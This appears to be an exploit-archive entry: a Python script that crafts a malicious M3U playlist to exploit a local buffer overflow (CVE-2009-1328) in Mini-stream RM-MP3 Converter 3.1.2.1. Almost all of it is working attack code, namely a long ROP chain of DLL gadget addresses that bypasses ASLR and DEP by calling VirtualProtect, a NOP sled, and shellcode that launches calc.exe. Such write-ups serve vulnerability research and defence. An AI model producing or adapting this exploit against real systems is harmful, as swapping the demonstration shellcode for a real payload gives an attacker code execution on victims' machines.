Mini-Stream RM-MP3 Converter 3.1.2.1.2010.03.30 Buffer Overflow

`# Exploit Title: Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 local buffer overflow (\w ASLR and DEP bypass)  
# Date: 26 July 2012  
# Exploit Author: Gianni Gnesa  
# Vendor Homepage: http://mini-stream.net/  
# Software Link: http://mini-stream.net/rm-to-mp3-converter/download  
# Version: 3.1.2.1.2010.03.30  
# Tested on: Windows 7 SP1 (VMware)  
# References: CVE-2009-1328, BID 34494  
  
from struct import pack  
  
fname = "rop.m3u"  
hdr = "http://."  
junk1 = "A" * 17416 # junk  
  
rop = [  
0x10041720, # RETN [MSRMfilter03.dll]  
0x41414141, # Compensate  
  
  
#### Save ESP into ESI  
# EAX=EBP  
0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll]  
0x10051ff5, # ADD EAX,EBP / RETN [MSRMfilter03.dll]  
  
# ESI=EAX  
0x1005bb8e, # PUSH EAX / ADD DWORD PTR SS:[EBP+5],ESI / PUSH 1 / POP EAX / POP ESI / RETN [MSRMfilter03.dll]  
  
# EBX=ESI  
0x1001217b, # PUSH ESI / ADD AL,5E / POP EBX / RETN [MSRMfilter03.dll]  
  
# EDX=EBX  
0x1002991c, # XOR EDX,EDX / RETN [MSRMfilter03.dll]  
0x10029f3e, # ADD EDX,EBX / POP EBX / RETN 10 [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBX  
  
# ESI=ESP  
0x10032D54, # PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX],ECX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for RETN  
0x41414141, # Junk for RETN  
0x41414141, # Junk for RETN  
0x41414141, # Junk for RETN  
  
  
#### Jump over VirtualProtect()  
0x100237C8, # ADD ESP, 20 / RETN [MSRMfilter03.dll]  
  
0x58585858, # VirtualProtect()  
0x58585858, # Return Address  
0x58585858, # lpAddress  
0x58585858, # dwSize  
0x58585858, # flNewProtect  
0x10085515, # lpflOldProtect [Address in MSRMfilter03.dll]  
  
0x90909090, # Padding  
0x90909090, # Padding  
# ADD ESP,20 / RETN will land here  
  
  
#### Find kernel32.VirtualProtect  
# Save ESI (Saved ESP) into EBX  
0x1001217b, # PUSH ESI / ADD AL,5E / POP EBX / RETN [MSRMfilter03.dll]  
  
# EAX = Saved ESP - 0xACE4  
0x1002ca2d, # POP EAX / RETN [MSRMfilter03.dll]  
0xFFFF531C, # -0xACE4 (offset from the Saved ESP to the kernel32.XXXXBBE4 in the stack)  
0x10033bbb, # ADD EAX,ESI / POP ESI / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in ESI  
  
# Pickup kernel32.XXXXBBE4 into EAX  
0x10027f59, # MOV EAX,DWORD PTR DS:[EAX] / RETN [MSRMfilter03.dll]  
  
# Find kernel32.VirtualProtect  
0x1001263D, # POP ECX / RETN [MSRMfilter03.dll]  
0xFFFF675D, # -0x98A3 (offset from kernel32.XXXXBBE4 to kernel32.VirtualProtect)  
0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll]  
  
  
##### Write VirtualProtect address to memory  
# EDX = EBX = Saved ESP  
0x1002993c, # XOR EDX,EDX / RETN [MSRMfilter03.dll]  
0x10029f3e, # ADD EDX,EBX / POP EBX / RETN 10 [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBX  
  
# EDX = EDX + 4  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for RETN  
0x41414141, # Junk for RETN  
0x41414141, # Junk for RETN  
0x41414141, # Junk for RETN  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
  
# Write VirtualProtect address to memory  
0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll]  
  
  
#### Write return address to memory  
# EAX = EDX (Saved ESP) + 0x300  
0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll]  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
  
# EDX = EDX + 4  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
  
# Write return address to memory  
0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll]  
  
  
#### Write lpAddress parameter to memory  
# EAX = EDX (Saved ESP) + 0x300  
0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll]  
0x1001263D, # POP ECX / RETN [MSRMfilter03.dll]  
0xFFFFFFFC, # -0x4 (compensate EDX increment)  
0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll]  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
  
# EDX = EDX + 4  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
  
# Write lpAddress parameter to memory  
0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll]  
  
  
#### Write dwSize parameter to memory  
# EAX = 0x400  
0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll]  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
0x10031c8c, # ADD EAX,100 / POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
  
# EDX = EDX + 4  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
  
# Write dwSize parameter to memory  
0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll]  
  
  
#### Write flNewProtect parameter to memory  
# EAX = 0x40  
0x1001a503, # XOR EAX,EAX / RETN [MSRMfilter03.dll]  
0x10031c81, # ADD EAX,40 # POP EBP / RETN [MSRMfilter03.dll]  
0x41414141, # Junk popped in EBP  
  
# EDX = EDX + 4  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
0x10028fe6, # INC EDX / CLD / POP ESI / POP EDI / POP EBX / RETN [MSRMfilter03.dll]  
0x41414141, # Junk for ESI  
0x41414141, # Junk for EDI  
0x41414141, # Junk for EBX  
  
# Write flNewProtect parameter to memory  
0x10031e2e, # MOV DWORD PTR DS:[EDX],EAX / MOV EAX,3 / RETN [MSRMfilter03.dll]  
  
  
#### Call VirtualProtect  
0x1002fa6a, # MOV EAX,EDX / RETN [MSRMfilter03.dll]  
0x1001263D, # POP ECX / RETN [MSRMfilter03.dll]  
0xFFFFFFF0, # -0x10 (Move EDX back to the VirtualProtect call)  
0x1001451e, # ADD EAX,ECX / RETN [MSRMfilter03.dll]  
0x1002fe81, # XCHG EAX,ESP / RETN [MSRMfilter03.dll]  
]  
  
nops = "\x90" * 240  
  
# calc.exe payload  
shellcode = (  
"\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52"  
"\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E"  
"\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C"  
"\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F"  
"\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"  
)  
  
  
print "Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30"  
print "Local buffer overflow (\w ASLR and DEP bypass)\n"  
  
payload = hdr + junk1 + pack('<'+str(len(rop))+'L',*rop) + nops + shellcode  
  
f = open(fname, "w")  
f.write(payload)  
f.close()  
  
print "%s file created!" % fname  
  
`